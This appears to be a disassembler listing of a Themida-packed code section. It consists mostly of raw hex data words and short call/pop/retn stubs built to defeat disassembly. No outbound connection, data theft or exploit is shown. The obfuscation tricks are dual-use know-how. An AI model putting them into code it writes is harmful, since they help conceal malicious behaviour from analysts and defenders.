		dd 1BB06BDFh, 9D8B2680h, 6102FD1h, 1985FFF8h, 6A061014h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0FCECC357h, 0FF6AF88Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 55C35747h, 0CDB5FFh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0B537F6C3h, 9D893325h, 61012F9h, 0FFD88B66h,	10061595h
		dd 0FFE906h, 0C9B30000h, 10E800B0h, 56000000h, 0B731C262h
		dd 8A4EBED7h, 73C8321Bh, 0F6F5B7Eh, 8B5FFEB7h, 0F970E6DAh
		dd 9DBB71E4h, 0F3C4B3Bh, 0C81h,	7E900h,	481F0000h, 0D7B183E7h
		dd 0F613CC8h, 0BC83h, 68F0F00h,	89000000h, 100B5585h, 0C8B60F06h
		dd 6BAh, 66C18B00h, 0E8C1F88Bh,	3810F04h, 66000000h, 0F766FE8Bh
		dd 198D29E2h, 2B061006h, 558509C8h, 8B061006h, 6E9D1h
		dd 0BD890000h, 6100169h, 2D49858Bh, 5E80610h, 85000000h
		dd 28BB5A5h, 1FC19531h,	335F0610h, 10063D9Dh, 7C08306h
		dd 1FD9D8Bh, 0C0830610h, 0F7CB8100h, 3B6F7492h,	12830FD0h
		dd 0F8000000h, 20159D8Bh, 36E90610h, 29000000h,	1029A9BDh
		dd 0A58D8B06h, 6606100Bh, 0E183F98Bh, 1E840F01h, 23000000h
		dd 1005859Dh, 0A5A58306h, 0FE06100Bh, 89F9B70Fh, 102D4995h
		dd 0A0EB8006h, 0E9h, 86B58D00h,	0F06141Dh, 688h, 0A98D8900h
		dd 6A061014h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 1ED78047h, 31C995FFh, 9D8B0610h
		dd 610010Dh, 8B2B9h, 83D88A00h,	6AFCE1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C3479AC3h
		dd 5B2D98AEh, 0B818589h, 0FFC0610h, 58Ch, 63FFBB00h, 0C02B6877h
		dd 14E9h, 0DFA21D00h, 63D7420Eh, 0EA206C95h, 51A88CF8h
		dd 0B0EB8191h, 0BA9Bh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 2B5F03C3h, 1F5D1B0Bh
		dd 8B0F92EDh, 2Ah, 0BE8h, 3A045F00h, 0AA9F0D28h, 80AE1BE6h
		dd 14E9h, 81270C00h, 9791EFA1h,	0CF306183h, 13F429A2h
		dd 0ECFEEC41h, 33AD5B8Dh, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 1A0208C3h, 0D8B70FF2h, 880Dh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0D7815023h
		dd 3D50B534h, 0F5958B5Fh, 66061009h, 8D8BF88Bh,	6102319h
		dd 0C28B50F5h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6658188Bh
		dd 3E55CB81h, 6ADFB70Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0C059C356h,	0A58589DFh
		dd 8B061031h, 102265BDh, 29BD8306h, 6101Eh, 8E840Fh, 810F0000h
		dd 3, 0B8FEBF0Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_595833
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595833	proc near		; CODE XREF: Themida_:0059582Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_595833	endp

; ---------------------------------------------------------------------------
		db 57h
		dd 9BD8974h, 8B061005h,	100955BDh, 858D8D06h, 0BF06104Eh
		dd 501D8755h, 8E9h, 0CD2A3D00h,	8329CB63h, 6AE1FF53h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 8D43C351h, 2146C2C9h, 10E9F0B4h, 0A5000000h,	2CD23DDBh
		dd 4A1CDDAFh, 3C18D99Ah, 0BF8930CBh, 66ECFA9Ah,	22C1BD83h
		dd 0F000610h, 45284h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 17005B99h, 30F0C91Bh
		dd 11E924h, 0E80F0000h,	488595B2h, 0A0AA89CDh, 9F7AF4CAh
		dd 832A5271h, 1022C1BDh, 840F0106h, 426h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 14C35646h, 3AB217D1h
		dd 5830Fh, 81660000h, 83A00DCFh, 1022C1BDh, 860F0306h
		dd 3B8h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 15h,	64C35646h, 0D6F380CDh, 51006A60h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0E579947Ch
		dd 0EF083899h, 0D98C667Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 82C35242h, 0BB21DA25h, 269AA6F0h, 6A04E180h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0F96C355h, 0C90AD8BFh, 137840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 860F45C3h, 3, 8B3BEB80h, 10218585h, 0FEBF0F06h, 11FD8533h
		dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0BAE66BC3h, 893F3210h, 10105DBDh,	0F98B5006h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0C353C351h, 0DEDAA05Ah, 6ADC86h
		dd 0BE9h, 0C0CD8900h, 0B28E71C3h, 9E2E9ECBh, 4E8h, 1F03FF00h
		dd 0FEBB5000h, 8B1B733Eh, 0BF042444h, 37C160D6h, 0BF66008Bh
		dd 448976FCh, 5B520424h, 8B0F58h, 0FF000000h, 1005D595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 893F8CFDh, 13C26D85h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E3D1C8A0h
		dd 15DD7E1Dh, 51858935h, 0E9061005h, 1B3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 57C35545h, 65858BF8h
		dd 6A0613C2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 48B5C357h, 1800C79Dh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 69FCC351h, 519D8BF6h, 8B061023h, 13C269B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0A98D2955h, 8B061009h, 100E2585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 6892433h, 31319D29h,	858B0610h, 6102185h, 4689FA8Bh
		dd 55BD8B04h, 96061002h, 79DB05BFh, 196500Ah, 101101B5h
		dd 65B5FF06h, 680613C2h, 0ED10937Eh, 81240481h,	6A130E70h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 4595C357h, 34CDB5EFh, 33B809EDh, 100FE59Dh
		dd 6D858D06h, 6A0613C2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 7306C356h, 0AE82EFCh
		dd 48000000h, 66AB969Dh, 8ECFCC34h, 2DBD2B20h, 5B061000h
		dd 6650F88Bh, 489FE8Bh,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 31C4B9ADh, 0F111661h
		dd 684h, 99BD0300h, 0BF06102Eh,	46A0295Bh, 5D595FFh, 11E80610h
		dd 0D4000000h, 1B15A370h, 3C7276F7h, 94657D65h,	0F922BCE0h
		dd 239BD89h, 615F0610h,	5DD9531h, 85C70610h, 61022C1h
		dd 3, 1135BD8Bh, 0BD830610h, 613C26Dh, 31840F00h, 51000000h
		dd 94DBD8Bh, 0E95B0610h, 3Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DDC35343h,	8354E783h, 0F9096CCCh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0B7C08B00h
		dd 50006A70h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 7F248539h, 503BC5B7h, 149EBB66h,	22C1BD83h
		dd 0F030610h, 40185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 29566057h, 4B932860h
		dd 0FDD78166h, 6DBD83EAh, 613C2h, 3CC840Fh, 9E90000h, 7E000000h
		dd 0C5F2C016h, 0B5E29208h, 0C26DB5FFh, 8D290613h, 61013CDh
		dd 2A3D8D09h, 95FF0610h, 6102FA5h, 0C261B58Bh, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 2FF96FC3h, 8C2618D3h, 12E895BEh, 6F000000h, 0D189226Ch
		dd 0A1F224B2h, 5CBCBA7Ah, 854FA703h, 5DBD8B7Ah,	5F06101Eh
		dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 51B75BC3h, 85897B26h, 6100FB5h
		dd 52505750h, 0BB66310Fh, 585A9591h, 2434895Fh,	0BE9h
		dd 49742000h, 7151086Ah, 8FDDC84Ch, 0C26DB5FFh,	8B660613h
		dd 2595FFD9h, 6A061012h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 6415C351h, 4A7B3FE7h
		dd 0B387878Fh, 61B58B1Fh, 6A0613C2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 13BDC355h
		dd 6B39CD78h, 2B67A3BAh, 102AAD9Dh, 0D1858B06h,	89061021h
		dd 1021599Dh, 81666006h, 0E8AB6ACAh, 0Eh, 0BC6117D6h, 612F972Dh
		dd 0E392DB24h, 850F2414h, 0
; ---------------------------------------------------------------------------
		pop	ecx
		popa
		mov	[esi+0C4h], eax
		sub	[ebp+61021C5h],	esi
		mov	edx, [ebp+61009F5h]
		mov	edi, ecx
		add	edx, 4
		mov	ebx, [ebp+6100BFDh]
		mov	[eax+20h], edx
		jmp	loc_595F25
; ---------------------------------------------------------------------------
		db 36h
		dd 2A589678h, 0A2100A1Ah
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_595F25:				; CODE XREF: Themida_:00595F16j
		lea	eax, [ebp+613D7C2h]
		mov	[ebp+61009F9h],	eax
		or	[ebp+6100DB5h],	ebx
		mov	[esi+0B8h], eax
		push	0
		push	ebp
		call	sub_595F48
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595F48	proc near		; CODE XREF: Themida_:00595F40p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_595F48	endp

; ---------------------------------------------------------------------------
		dd 4A2F3AE5h, 10E90Bh, 9DFD0000h, 0B39B1B39h, 27962158h
		dd 0CBEFBBBBh, 8B66F7C5h, 89006AD8h, 1015A9BDh,	6DB5FF06h
		dd 6A0613C2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0B266C357h, 78DF7C53h,	8B66F2F9h
		dd 9595FFD9h, 6A061004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 281AC356h, 6743B5EDh
		dd 0E8865B67h, 0Eh, 2903DE61h, 489A33ABh, 0B964B798h, 9D8BE4ADh
		dd 6102D91h, 0AD9D8B5Bh, 50061006h, 3489FA8Ah, 0B6B86024h
		dd 8B460255h, 1031C595h, 0B5FF6106h, 613C26Dh, 0FFDF8B66h
		dd 10162D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0D62EBF27h, 0BD8356C6h, 6101351h
		dd 39840F00h, 0F000000h, 0E781DBBFh, 46B40A15h,	50E9B796h
		dd 55006A96h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0B23EE046h, 1FD9D8Bh, 9D230610h,	6100A49h
		dd 0C26DB5FFh, 6A0613h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 6D9AC6C3h, 0E04732Eh, 9D8BBA59h
		dd 61027C1h, 1F71B589h,	95FF0610h, 6100C19h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 99C35545h, 78E3569Ah
		dd 9BAB3BDh, 101D0D9Dh,	0F8BF6606h, 6DB5FF18h, 10613C2h
		dd 1009B995h, 2195FF06h, 0BB061016h, 14175268h,	0F89BD83h
		dd 0F020610h, 3984h, 60DA8B00h,	8B92D480h, 858B61D3h, 61010C5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CBC35747h
		dd 8B66C5DEh, 0C6DFh, 8B1BD89h,	85C70610h, 6102A25h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_596157
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596157	proc near		; CODE XREF: Themida_:0059614Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_596157	endp

; ---------------------------------------------------------------------------
		db 28h
		dd 8BD09620h, 0F1B531DFh, 0F06100Fh, 9FE9FEB7h,	6AFFFFF3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 94FCC357h, 0CDBD0B60h, 61061031h,	6AC18Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0BBDC62C3h, 0BD8B481Eh, 6100225h, 0F98D29h, 0EE90610h
		dd 99000000h, 2528CFh, 2 dup(0)
		dd 57BE900h, 17B70000h,	2BE158D4h, 0CC138F4h, 2BE057D3h
		dd 9BB3AEEh, 0EC180ECAh, 0CF8BCA7Eh, 0E864A548h, 0C682BD71h
		dd 0E763984Fh, 0B111F804h, 556BD8D1h, 7932CC58h, 97395044h
		dd 0AE55E458h, 550E8D79h, 0AF557420h, 0D2F18C78h, 439F233h
		dd 0AD1514EAh, 496DCC7Ch, 20F400EDh, 0AA9BBA67h, 363709CDh
		dd 5DC91A92h, 69F20706h, 47CE8AC5h, 689668A3h, 0CC6301C1h
		dd 7489E56Dh, 317213B2h, 0ABE69C1Fh, 0A05E7BF7h, 3DE47B36h
		dd 0CC0EB389h, 466EFEF1h, 463A1647h, 0C35206EAh, 6C3BE71Ch
		dd 6DCC15D3h, 29CC6354h, 336ACCE8h, 0F32CE158h,	0FFA423FFh
		dd 7552CEC2h, 76D3h, 0A9D73900h, 4E427B32h, 7C9F23D2h
		dd 0FB776DCCh, 79AE55DEh, 7C66DE8Dh, 18A76DCCh,	88835D79h
		dd 6DCC7C3Ah, 21A188DAh, 0C56DCC7Ch, 0A7708D69h, 336B3666h
		dd 146h, 7A328400h, 16DA453Ah, 0E4B184h, 45441A14h, 6DCCBFFDh
		dd 73401D19h, 0F5C496CDh, 5611552h, 0BB679E46h,	0E5E4A2B7h
		dd 5E110542h, 5B903702h, 1F069D7Eh, 0FF763269h,	96D37848h
		dd 3268FEBAh, 34533F7Eh, 0ECA1558Ch, 57F938D7h,	0F198C97Dh
		dd 6DCC7C51h, 0B99DB9B5h, 98CD7605h, 82E385C6h,	0C45DA07Ch
		dd 29E0F7A7h, 205304F0h, 6A996481h, 5209336Ah, 0E7895E9Fh
		dd 93h,	497E3225h, 0CC7CE062h, 4C28046Dh, 538C4158h, 8E700C9Fh
		dd 0CC7C279Bh, 8663BF6Dh, 75171EB5h, 0EF952436h, 432F681Dh
		dd 70E603DFh, 0DE15CB8Eh, 0A2192E32h, 1E9DAFEEh, 6C1A2F66h
		dd 637DBA6Dh, 0F0276F6Ah, 0C28EC0C9h, 3FB5A260h, 0C2802B8Ch
		dd 226DCC99h, 514D2A46h, 11D46B08h, 336A4ED0h, 4DB0h, 7E321A00h
		dd 58532D3Fh, 6DCC7CEAh, 8E4C050Ah, 15674707h, 106A1C31h
		dd 0B86CA349h, 6E149FBCh, 0D36C3F33h, 1453F53Ch, 8FCC7F3Ah
		dd 326604BAh, 0E45E4D7Ah, 6DCC7Ch, 5544024h, 6DCC7CB8h
		dd 44A1407Fh, 336B3569h, 149h, 0A9D7C300h, 0CC7C4002h
		dd 0B3C8A46Dh, 0FCAD8128h, 876BC7BBh, 83DE675h,	4343181Ch
		dd 0BA669B44h, 792D661Bh, 33D6AC62h, 0B022CEF2h, 0F45E6201h
		dd 0CA7FA63Dh, 31C81D91h, 30D9D0AAh, 0B467FC06h, 0A943B2B7h
		dd 0F6D36E89h, 5D7C2804h, 3EBD71A6h, 55F14785h,	4B201966h
		dd 942C7B27h, 0A5942304h, 0B8CFC304h, 3B20D415h, 6CF07D63h
		dd 0B34EF85Eh, 431DB01Ch, 0E094D578h, 0E423C584h, 949D3407h
		dd 79C9C0EBh, 9D9423CCh, 5729A5C1h, 0D1A6DB84h,	522C610Ah
		dd 0CCC57D2Ch, 45219423h, 0A85F7628h, 0B9CA7F73h, 2F641B1Ah
		dd 751AA17Bh, 915C2338h, 71397B85h, 180h, 0DA17CC8Fh, 972D4A26h
		dd 8BC4A9D7h, 0E758C881h, 46AD1504h, 0ED496DCCh, 75666D10h
		dd 2173725Bh, 0C44097E4h, 93B872A4h, 0AECB3995h, 7F25B4CAh
		dd 43783348h, 0A367FC6Bh, 3BCDBC7h, 7B578C33h, 5A8F38BFh
		dd 6005D4A6h, 0BDFCB027h, 0C3906DC9h, 5E3BE71Ch, 0C87FA63Dh
		dd 0E4A7B993h, 943C5F5Eh, 199DBAB6h, 7B128B66h,	8D40FB39h
		dd 23E6584Ch, 943C6B9Fh, 2D7FB77h, 4B4Eh, 42E97000h, 401D190Dh
		dd 1AC15C64h, 7CD94940h, 86FDEDCCh, 72EEA2E3h, 4FF3A24Eh
		dd 70EDCC7Ch, 1B30CFh, 5ECC01DBh, 0BF6CF987h, 9DBB0702h
		dd 0FF5BEDCCh, 37F206E3h, 6DCC9DABh, 0F57AC64Bh, 0EBFE71E1h
		dd 0B9D25307h, 2A000000h, 4328BD5Ch, 9B6CF0EFh,	68DAC1EEh
		dd 8C6DCC26h, 0EF9AB490h, 67FC568Ah, 2661057Ch,	26DAF67Ah
		dd 0B5001754h, 60DF6D57h, 0A08470A9h, 685C97C4h, 7C54E403h
		dd 0F62BD45Fh, 0D70CB342h, 0E68A512Bh, 6277FBA7h, 3CD31EA9h
		dd 0D76E5594h, 0EC60954Eh, 65A64712h, 0FDDEF588h, 42628E3h
		dd 0FDBC9E08h, 49390E49h, 0E9A239EDh, 7C77CBBEh, 8A8F9E10h
		dd 9E8376D4h, 2BAAC613h, 0EB473B78h, 49F8F507h,	8CC57C93h
		dd 43E6255Fh, 22C08229h, 48249E10h, 0D2617333h,	0DEFD1C33h
		dd 91F9F20Ch, 97DDC27Fh, 0E118D087h, 6F1C3135h,	9424A16Fh
		dd 5CE6A597h, 0B8800B27h, 862498BCh, 0CD15BD5Ch, 10EA8648h
		dd 5A84567Ah, 0FF3D8584h, 5DD96DCCh, 2EE27DEh, 5C62491Eh
		dd 6867F82Ah, 0CA81180Ch, 74471995h, 1752F8CEh,	0EEB076Bh
		dd 0BD699E45h, 7B2EB6EEh, 0A7E487FBh, 0EA27DCFBh, 927EB56Bh
		dd 2551F198h, 0B9B5BB63h, 6E52F192h, 0C46D049Bh, 0E372E61Bh
		dd 0BF5073Ch, 6325A220h, 11E642BBh, 94D17615h, 0A43BF6E0h
		dd 0A988C67Dh, 78CAC1FBh, 9CBB633Ah, 50409BC0h,	0B79BDC8Dh
		dd 0EF981F9Bh, 8DDC6BAh, 0E3000000h, 5875B458h,	326D5FCCh
		dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
		dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h,	81E38953h
		dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 3C685C24h, 8900006Fh
		dd 0EC682434h, 8900002Dh, 7B68243Ch, 8B0614ADh,	0C4812434h
		dd 4, 243C8B54h, 4C481h, 50560000h, 260022B8h, 24443174h
		dd 478F5804h, 8778108h,	74260022h, 5F2434FFh, 0FF04C483h
		dd 815E2434h, 4C4h, 0CD7EE900h,	47B7FFFBh, 2D20E5D6h, 0B285B833h
		dd 0C5030614h, 78A9E0FFh, 57C377ECh, 8A2828ECh,	0CD7C39F5h
		dd 6F423CFCh, 52ED0647h, 77970092h, 71EF1E28h, 11B753E0h
		dd 0CB35205Dh, 0EB5309EDh, 7B296ADDh, 4F5B06B7h, 9AF02B31h
		dd 3B3235A1h, 858D4054h, 61013B9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 84C35343h, 0E5742C11h, 8A90ABD6h
		dd 0FA8A50D9h, 51006A90h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0B843F847h, 698C174h
		dd 0BD8BFA30h, 6100909h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0BA58C6C3h, 0FE91D12h
		dd 0A4000000h, 0B234DCF5h, 9204F709h, 3BF22626h, 6ABD97h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1EC35646h
		dd 28859D8Bh, 858D0610h, 614B586h, 7832BF66h, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 4C0BC357h, 5090FCCAh, 13E952h, 0F3F70000h
		dd 0A1E2D6Dh, 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh, 0B3310F39h
		dd 50585A46h, 0EE8h, 44386500h,	0A0690E54h, 7D014D13h
		dd 508307E9h, 0FFA8A52h, 5B585A31h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0A01546BEh
		dd 0D6F78166h, 8B006A3Ch, 102FE19Dh, 0F006A06h,	95FFFBBFh
		dd 6101D19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	7BC35343h, 36C3EF2h, 8BAC9837h,	102D019Dh, 0D88D8D06h
		dd 6A0613AFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 4AEBC357h, 0D4FD301Fh,	0DE96FD3h
		dd 44000000h, 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 0BD89D1FFh
		dd 6101471h, 2209BD83h,	0F010610h, 7C85h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0CB8075A2h, 8B026AC9h, 0D98589F8h, 90061001h, 0FE8h
		dd 8B8F9E00h, 56A54C3Ch, 147601A4h, 0FFA17A9h, 0DE8h, 0ECD30300h
		dd 70CA5410h, 78376319h, 0C4BFE9E1h, 5F65384Ah,	0EE9505Bh
		dd 7000000h, 0C8368563h, 0A6EF2097h, 0C6DC9F6Fh
		dd 0BF0F905Ah, 9595FFFFh, 81061004h, 0C60E73DFh, 0ECDE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5969F6:				; DATA XREF: Themida_:0054E59Co
		call	$+5
		pop	ebp
		sub	ebp, 614B590h
		mov	[ebp+6103131h],	eax
		add	bx, 434Ch
		add	[ebp+6100C21h],	ebx
		lea	eax, [ebp+61399B6h]
		push	0
		push	edi
		call	sub_596A24
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596A24	proc near		; CODE XREF: Themida_:00596A1Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_596A24	endp

; ---------------------------------------------------------------------------
		dd 0CD715E7h, 11E84Fh, 7A0B0000h, 0C0D249ECh, 120AACDEh
		dd 3662C28Dh, 890CB38Fh, 100779BDh, 0BF905F06h,	7298998Fh
		dd 0A5BB6650h, 6A90BDh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0B529E4C3h, 6100E79h, 56B6BF66h
		dd 35FF64h, 80000000h, 896492C7h, 25h, 0B516000h, 101D318Dh
		dd 13E95F06h, 3C000000h, 94EB05E1h, 3CD3131Eh, 276B84F4h
		dd 14BB2276h, 0FF61029Ch, 10141985h, 15BD8906h,	6A061019h
		dd 17860FFFh, 0F000000h, 1184h,	0CE900h, 96330000h, 0FBD675F1h
		dd 0D5B40441h, 0B5FFECF0h, 61004E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 19C35343h, 13830F08h, 0E9000000h
		dd 0Eh,	52A0A2A4h, 6E473FA3h, 6A9C5DDh,	0B5897BF7h, 6100491h
		dd 61595FFh, 0F3E90610h, 0BF000000h, 166BE529h,	7E900B0h
		dd 34000000h, 0E5B0B5C8h, 70E61B1Ah, 1CA59D2Bh,	71E40610h
		dd 0DBD3BF66h, 830F613Ch, 0CAh,	850FB5B3h, 1, 0C8B60FF5h
		dd 18D9BD89h, 6BA0610h,	89000000h, 1009B19Dh, 60C18B06h
		dd 2079BD01h, 0DE90610h, 83000000h, 0B4F4AC50h,	0F541DAC5h
		dd 5DA0D377h, 4E8C161h,	0ECCCBF66h, 66E2F766h, 0FAA7EB81h
		dd 9D89C82Bh, 6102795h,	8BDAB70Fh, 4820FD1h, 66000000h
		dd 0E9EDCBBFh, 2, 858B05B7h, 6100069h, 83DE8B66h, 0C08307C0h
		dd 0FD03B00h, 1383h, 0E9EEB700h, 46h, 3139BD8Bh, 85890610h
		dd 6102EE9h, 418D8Bh, 0BD8B0610h, 6102A31h, 0F01E183h
		dd 2584h, 3A8EBF00h, 0A5830316h, 6100041h, 0FFBF0FFEh
		dd 699589h, 6E90610h, 44000000h, 0BF71625Fh, 0E9D3h, 0B58D0000h
		dd 61427DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0B1C35747h, 6C4275C5h, 27CB2127h, 23006A96h, 1015A1BDh
		dd 0C995FF06h, 6A061031h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 408C355h, 0AC97F48Dh
		dd 5E9h, 5CED9900h, 13B95BC2h, 8B000008h, 100C51BDh, 0FCE18306h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 97C35242h
		dd 81ECF231h, 8048A038h, 6AFC2ADFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 530EC355h
		dd 0C8C5B238h, 0B7B719DCh, 0B8A3h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 7E1644C3h
		dd 0EF981000h, 31FABF0Fh, 1006D9B5h, 6AD22B06h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0ADD7C353h, 0E8D1C233h, 0E983D003h, 29F47504h, 100CA98Dh
		dd 5BD8B06h, 8A06100Fh,	880DDCh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5F50CCC3h
		dd 631CC41Eh, 0F9D46388h, 9F5958Bh, 11E80610h, 0D1000000h
		dd 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0CAC087Fh, 8B5FC6B3h
		dd 1023198Dh, 79EF8006h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 5F575818h, 51D9D03h, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E59ACEC3h
		dd 5EF171BCh, 83B3B5DDh, 101E29BDh, 840F0006h, 3Ch, 10C19D8Bh
		dd 0B80610h, 8D000000h,	104E858Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 611DCCA2h
		dd 0A7C5FBCAh, 56E1FF91h, 5BF8B70Fh, 22C1BD83h,	0F000610h
		dd 51984h, 0D0C78100h, 0BF59B0D7h, 6D0C627Eh, 22C1BD83h
		dd 0F010610h, 51C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0DDAD28DAh, 0C1BD8302h
		dd 3061022h, 4B9860Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 17698FC3h, 1F16B7BAh
		dd 68BF8A2Ch, 600F2EECh, 0E850006Ah, 3,	58C35820h, 4244489h
